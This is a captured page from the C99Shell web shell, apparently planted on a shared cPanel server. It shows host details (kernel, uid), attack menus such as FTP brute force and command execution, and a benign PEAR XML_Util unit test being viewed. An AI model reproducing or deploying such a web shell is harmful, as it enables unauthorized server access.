!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/opt/cpanel/ea-php74/root/usr/share/tests/pear/XML_Util/tests/   drwxr-xr-x
Free 235.84 GB of 981.82 GB (24.02%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Bug18343Tests.php (1.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Bug #18343 "Entities in file names decoded during packaging"
 *
 * No matter what flags are given to createTagFromArray(),
 * an attribute must *always* be at least ENTITIES_XML encoded.
 *
 * @link https://pear.php.net/bugs/bug.php?id=18343
 */
class Bug18343Tests extends AbstractUnitTests
{
    private 
$tagArray = array(
        
"qname"      => "install",
        
"attributes" => array(
            
"as"    => "Horde/Feed/fixtures/lexicon/http-p.moreover.com-cgi-local-page%2Fo=rss&s=Newsweek",
            
"name"  => "test/Horde/Feed/fixtures/lexicon/http-p.moreover.com-cgi-local-page%2Fo=rss&s=Newsweek",
        )
    );

    public function 
getFlagsToTest()
    {
        new 
XML_Util(); // for constants to be declared

        
return array(
            array(
'no flag'null),
            array(
'false'false),
            array(
'ENTITIES_NONE'XML_UTIL_ENTITIES_NONE),
            array(
'ENTITIES_XML'XML_UTIL_ENTITIES_XML),
            array(
'ENTITIES_XML_REQUIRED'XML_UTIL_ENTITIES_XML_REQUIRED),
            array(
'ENTITIES_HTML'XML_UTIL_ENTITIES_HTML),
            array(
'REPLACE_ENTITIES'XML_UTIL_REPLACE_ENTITIES),
        );
    }

    
/**
     * @dataProvider getFlagsToTest()
     */
    
public function testCreateTagFromArrayForBug18343($key$flag)
    {
        
// all flags for the candidate input should return the same result
        
$expected =
<<< EOF
<install as="Horde/Feed/fixtures/lexicon/http-p.moreover.com-cgi-local-page%2Fo=rss&amp;s=Newsweek" name="test/Horde/Feed/fixtures/lexicon/http-p.moreover.com-cgi-local-page%2Fo=rss&amp;s=Newsweek" />
EOF;
        
$this->assertEquals($expectedXML_Util::createTagFromArray($this->tagArray$flag), "Failed bugcheck for $key.");
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0128 ]--